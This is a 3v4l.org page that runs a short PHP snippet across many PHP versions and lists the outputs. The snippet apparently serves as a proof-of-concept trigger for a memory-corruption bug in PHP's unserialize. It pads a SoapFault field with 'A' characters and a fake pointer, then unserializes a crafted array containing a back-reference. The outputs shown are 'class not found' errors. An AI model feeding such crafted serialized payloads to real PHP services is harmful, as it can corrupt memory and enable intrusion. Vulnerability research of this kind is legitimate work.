3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $addr = 0x4141414141414141; $sf = new SoapFault('1', 'knownsec1', 'knownsec2', 'knownsec3','knownsec4', str_repeat("A",232).ptr2str($addr)); $ob = unserialize("a:2:{i:0;".serialize($sf).'i:1;r:10;}'); //var_dump($ob); function ptr2str($ptr) { $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?>
Output for 7.0.0 - 7.2.0
Fatal error: Uncaught Error: Class 'SoapFault' not found in /in/3gWdu:5 Stack trace: #0 {main} thrown in /in/3gWdu on line 5
Process exited with code 255.
Output for 5.4.2 - 5.6.28
Fatal error: Class 'SoapFault' not found in /in/3gWdu on line 5
Process exited with code 255.
Output for 5.3.18 - 5.3.29